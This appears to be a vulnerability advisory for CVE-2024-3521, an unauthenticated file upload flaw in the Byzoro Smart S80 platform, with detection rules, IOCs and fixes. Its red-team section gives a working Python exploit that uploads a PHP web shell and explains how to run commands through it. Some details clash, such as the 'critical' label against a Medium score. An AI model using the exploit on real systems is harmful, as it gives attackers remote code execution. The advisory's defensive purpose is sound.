CVE-2024-3521

Executive Summary

CVE-2024-3521 is a critical unrestricted file upload vulnerability in the Byzoro Smart S80 Management Platform (up to version 20240317). The flaw resides in the /useratte/userattestation.php endpoint, where the web_img parameter is not properly sanitized, allowing remote attackers to upload arbitrary files (e.g., web shells) without authentication. The vendor was contacted but did not respond, leaving the product unpatched. With a CVSS score of 4.7 (Medium), the vulnerability is publicly exploited, and proof-of-concept code is available. This report provides actionable detection, exploitation, and mitigation guidance for DevSecOps teams.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded management platform (Byzoro Smart S80). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 4.7 (Medium)
• Attack Vector: Network (AV:N) – remotely exploitable.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated access.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited file modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but public PoC increases risk. Attackers can upload web shells to gain persistent access.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the Byzoro Smart S80 Management Platform. The endpoint /useratte/userattestation.php accepts a web_img parameter that is used to specify a file path for upload. The application fails to validate the file type, size, or content, allowing attackers to upload arbitrary files (e.g., PHP, ASP, or JSP shells) to the web root. Once uploaded, the attacker can access the file via a direct URL, leading to remote code execution.

Root Cause: Missing input validation and lack of file type restrictions in the upload handler. The web_img parameter is directly used in file operations without sanitization.

Attack Flow:

1. Attacker sends a POST request to /useratte/userattestation.php with web_img set to a malicious file (e.g., shell.php).
2. The server saves the file to a writable directory (e.g., /uploads/).
3. Attacker accesses the uploaded file via HTTP (e.g., http://target/uploads/shell.php).
4. The file executes, granting remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// userattestation.php (vulnerable)
$upload_dir = "/var/www/html/uploads/";
$file = $_POST['web_img'];
$file_path = $upload_dir . basename($file);
move_uploaded_file($_FILES['file']['tmp_name'], $file_path);
echo "File uploaded successfully.";
?>

Patched Code (Recommended):

<?php
// userattestation.php (patched)
$upload_dir = "/var/www/html/uploads/";
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$file = $_FILES['file'];
$file_type = mime_content_type($file['tmp_name']);
if (!in_array($file_type, $allowed_types)) {
    die("Invalid file type.");
}
$file_name = uniqid() . '.' . pathinfo($file['name'], PATHINFO_EXTENSION);
$file_path = $upload_dir . $file_name;
if (!move_uploaded_file($file['tmp_name'], $file_path)) {
    die("Upload failed.");
}
echo "File uploaded successfully.";
?>

Key Fixes:

• Validate MIME type against a whitelist.
• Rename files to prevent path traversal.
• Use uniqid() to avoid predictable filenames.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3.x with requests library.
• Target running Byzoro Smart S80 Management Platform (unpatched).

Exploit Script:

import requests

target = "http://target.com"
upload_url = f"{target}/useratte/userattestation.php"
payload = {"web_img": "shell.php"}
files = {"file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")}

response = requests.post(upload_url, data=payload, files=files)
if "uploaded" in response.text.lower():
    print(f"Shell uploaded: {target}/uploads/shell.php?cmd=id")
else:
    print("Upload failed.")

Usage:

1. Run the script against the target.
2. Access the uploaded shell: http://target/uploads/shell.php?cmd=id.
3. Execute commands (e.g., ls, whoami).

Blue Team (Defensive)

Detection Steps:

• Monitor HTTP POST requests to /useratte/userattestation.php with unusual file extensions.
• Check for files in /uploads/ directory that are not images (e.g., .php, .asp).
• Use file integrity monitoring (FIM) to detect new files in web directories.

Honeypot Setup:

• Deploy a fake /useratte/userattestation.php endpoint that logs all upload attempts.
• Alert on any POST request to this endpoint.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /useratte/userattestation.php with web_img parameter.
  • HTTP responses containing "File uploaded successfully".
  • Outbound connections from the server to attacker IPs (e.g., for reverse shells).

• File IOCs:

  • Unexpected files in /var/www/html/uploads/ with extensions .php, .phtml, .asp, .jsp.
  • Files with suspicious content (e.g., <?php system($_GET['cmd']); ?>).

• Log IOCs:

  • Web server logs showing POST /useratte/userattestation.php with non-image MIME types.
  • System logs indicating file creation in web directories.

Detection Engineering

YARA Rule

rule CVE_2024_3521_Webshell {
    meta:
        description = "Detects webshells uploaded via CVE-2024-3521"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3521"
    strings:
        $php_shell = "<?php system("
        $cmd_param = "$_GET['cmd']"
        $upload_path = "/useratte/userattestation.php"
    condition:
        $php_shell or $cmd_param
}

Sigma Rule

title: CVE-2024-3521 Unrestricted File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /useratte/userattestation.php with suspicious file uploads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/useratte/userattestation.php'
        cs-uri-query|contains: 'web_img'
    condition: selection
falsepositives:
    - Legitimate image uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3521 Unrestricted File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/useratte/userattestation.php"; http_uri; content:"web_img"; http_client_body; pcre:"/\.(php|phtml|asp|jsp)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect Byzoro Smart S80 devices from the network if possible.
2. Implement WAF rules: Block POST requests to /useratte/userattestation.php with non-image file extensions.
3. Restrict file uploads: Use a reverse proxy to validate MIME types and file extensions before forwarding to the backend.

Long-Term Fixes:

• Vendor patch: Since the vendor is unresponsive, consider replacing the platform with a supported alternative.
• Code hardening: If source code is available, apply the patched code example above.
• Network segmentation: Place management platforms in isolated VLANs with strict egress controls.

Compensating Controls:

• Enable file integrity monitoring (e.g., OSSEC, Tripwire) on web directories.
• Deploy a web application firewall (WAF) with custom rules for this CVE.
• Monitor for anomalous file creation events in /uploads/.

Valters IT